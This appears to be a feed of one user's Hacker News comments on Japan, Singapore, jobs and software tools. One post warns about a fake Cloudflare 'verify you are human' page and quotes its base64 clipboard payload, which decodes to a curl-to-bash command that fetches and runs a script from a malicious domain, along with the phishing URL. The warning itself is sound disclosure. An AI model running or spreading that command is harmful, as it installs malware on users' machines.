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New comment by SenHeng in "Show HN: Kyushu – A self-hostable WASM sandbox for JavaScript workers"

SenHeng — Mon, 08 Jun 2026 14:06:19 +0000

Kyushu:

- 九州: Largest island mass of southwest Japan comprising 7 states. Currently undergoing a real estate boom (and agricultural worker shortage) because of TMSC opening factories

- 吸収: absorb

- 急襲: ambush, surprise|sudden assault

New comment by SenHeng in "How's Linear so fast? A technical breakdown"

SenHeng — Sun, 07 Jun 2026 21:49:45 +0000

A common problem I have with Linear is that repeated writes sometimes overwrite themselves. Consider this flow

1. type

2. stop to ponder for a split second

3. type some more

4. Linear reverts data to step 1

It's bad enough that I'll use Linear to create issues with a single sentence description. This is what Linear is good and fast at. Then I'll switch to GitHub to fill in the details.

Tell HN: Exploit mimicking Cloudflare's verify human page

SenHeng — Mon, 01 Jun 2026 15:03:17 +0000

I just had a site pop up showing cloudflare's verify you're a human page. after checking the check box, a modal pops up telling you to

1. press command space

2. type in Terminal and enter

3. type in cmd V and enter

Wait a minute, I don't remember copying anything.... I pasted into a slack chat and this popped up.

`bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9ydW50aW1lLWZvdW5kcnkuZGlnaXRhbC9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d)`

descrypting the string turns it in to `curl -s 'https://runtime-foundry.digital/script.sh' | bash`

This is the offending website.

https://secure-access-31f.pages.dev/?vc=7b853dfa42a14cb5b124029e98c46454&ts=1780325659009&rn=755411

I don't remember how I came upon it. I was doing a search on google and simply cmd clicked every single result. It was probably one of those.

Comments URL: https://news.ycombinator.com/item?id=48357773

Points: 3

# Comments: 0

New comment by SenHeng in "The worst job interview I ever had"

SenHeng — Fri, 29 May 2026 06:47:23 +0000

The product is old school PHP. They want to convert it to Go but none of the young engineers are interested in touching the codebase. My friend is the reverse instead, uninterested in learning new languages/technologies.

So neither of them want to hire each other.

New comment by SenHeng in "The worst job interview I ever had"

SenHeng — Wed, 27 May 2026 16:09:33 +0000

My friend has been contracting at $STARTUP for a couple of years now with a revolving 2 month contract. His managers have not attempted to hide the fact they would likely end his contract once they've managed to hire a full timer into the team.

Sadly, their CEO has veto-ed every single full time hire they've tried to bring on for past 2 years now.

New comment by SenHeng in "Did moving to new place have intended effect?"

SenHeng — Tue, 19 May 2026 16:30:20 +0000

I moved from Singapore to Japan in expectation of a better, free-er life and those expectations have been met. I have a house on fairly large piece of property that belongs to me. I have two cars that I often go for long drives on. Things that would be close to impossible back in Singapore.

I've also moved internally within Japan multiple times each time for better job prospects and those have also turned out well.

The one thing that hasn't changed much is myself. I'm not a social person and take time to get used to people. Particularly, I don't enjoy alcohol and thus do not frequent the local drinking holes. That has definitely had an effect on my social circle.

I have only one advice for you, if you're expecting change, you have to be prepared to change yourself too.

VC fired all analysts, is using AI to help run deals for its new $75M fund

SenHeng — Tue, 05 May 2026 13:09:28 +0000

Article URL: https://www.businessinsider.com/davidovs-venture-collective-dvc-ai-agents-talent-run-deals-2025-10

Comments URL: https://news.ycombinator.com/item?id=48022066

Points: 4

# Comments: 2

New comment by SenHeng in "Care homes and hotels in Japan shut as expansion strategy unravels"

SenHeng — Mon, 04 May 2026 12:48:28 +0000

20 years ago Singapore was handing out PRs and citizenships to Chinese students like candy. All of my classmates got PR a few years out of school, then citizenship again 2 years later.

And so many of them immediately moved on to the US.

New comment by SenHeng in "Care homes and hotels in Japan shut as expansion strategy unravels"

SenHeng — Mon, 04 May 2026 12:44:48 +0000

It used to be 5, it’s now 10. It’s a very recent [0] and sudden change.

O: https://www3.nhk.or.jp/nhkworld/en/news/20260327_11/

New comment by SenHeng in "Care homes and hotels in Japan shut as expansion strategy unravels"

SenHeng — Sun, 03 May 2026 15:01:35 +0000

It was always ridiculously easy to get Japanese citizenship. 5 years of residency, don’t break any laws including traffic, pay your bills on time. Done.

It has recently been changed so that you now require 10 years of residency.

https://www.turning-japanese.info/p/misinfo.html

New comment by SenHeng in "Care homes and hotels in Japan shut as expansion strategy unravels"

SenHeng — Sun, 03 May 2026 11:04:20 +0000

Better passport for their kids, better and more reputable, internationally connected banking system to store their wealth. The latter bit is particularly important as China limits the amount of money one can send out of the country.

New comment by SenHeng in "Ask HN: Anyone feel like they're just opting out of tech these days?"

SenHeng — Sat, 02 May 2026 14:49:05 +0000

I think I understand what the OP is feeling. It’s not that RF is actually a difficult subject, but that it is hard to find the motivation to learn it something new.

At least, that’s the feeling I’ve gotten about a lot of things I wanted to do, it when I got around to it, couldn’t really be bothered to.

New comment by SenHeng in "Snowball Earth may hide a far stranger climate cycle than anyone expected"

SenHeng — Fri, 01 May 2026 14:53:16 +0000

Not everyone reads TFA before coming in to the comments.

The title is ambiguous enough and anime is something that a lot of nerds enjoy.

New comment by SenHeng in "Spain's parliament will act against massive IP blockages by LaLiga"

SenHeng — Fri, 01 May 2026 09:52:56 +0000

The rest are often called civil servants.

New comment by SenHeng in "Snowball Earth may hide a far stranger climate cycle than anyone expected"

SenHeng — Fri, 01 May 2026 09:48:32 +0000

There's an anime called Snowball Earth being aired right now.

This article is not about that.

New comment by SenHeng in "Kyoto cherry blossoms now bloom earlier than at any point in 1,200 years"

SenHeng — Thu, 30 Apr 2026 13:54:35 +0000

Small, mountainous, resource-poor island at the far end of the world meant few were interested in conquering it. That meant Japan had the luxury of maintaining their culture unhindered for a very long period of time.

The Japanese royal family is the longest continuous royal bloodline on record. Oral records say its 2600 years old while archives exist from the 6th century.

New comment by SenHeng in "GitHub is having issues now"

SenHeng — Mon, 27 Apr 2026 17:42:19 +0000

For the past hour, the PR or Issues pages would load with 0 items. Occasionally, there’s an error toast mentioning ‘failure to fetch data’.

GitHub is having issues now

SenHeng — Mon, 27 Apr 2026 17:42:19 +0000

Article URL: https://www.githubstatus.com

Comments URL: https://news.ycombinator.com/item?id=47924775

Points: 338

# Comments: 123

New comment by SenHeng in "Her life savings mysteriously disappeared after a systems glitch"

SenHeng — Sun, 26 Apr 2026 10:18:05 +0000

Many banks don’t even provide bank books anymore.

The only physical thing I’ve got from my bank is an ATM card.

New comment by SenHeng in "Why Japan has such good railways"

SenHeng — Sun, 19 Apr 2026 16:02:27 +0000

Property taxes on land zoned for residential use are 6x more expensive if left bare. That’s why Japan has an akiya plague, because even a dilapidated building will keep taxes down.

I couldn’t find a more general article so here’s an example from a generic small town council.

https://www.city.inagi.tokyo.jp/en/faq/kurashi/1001633/10016...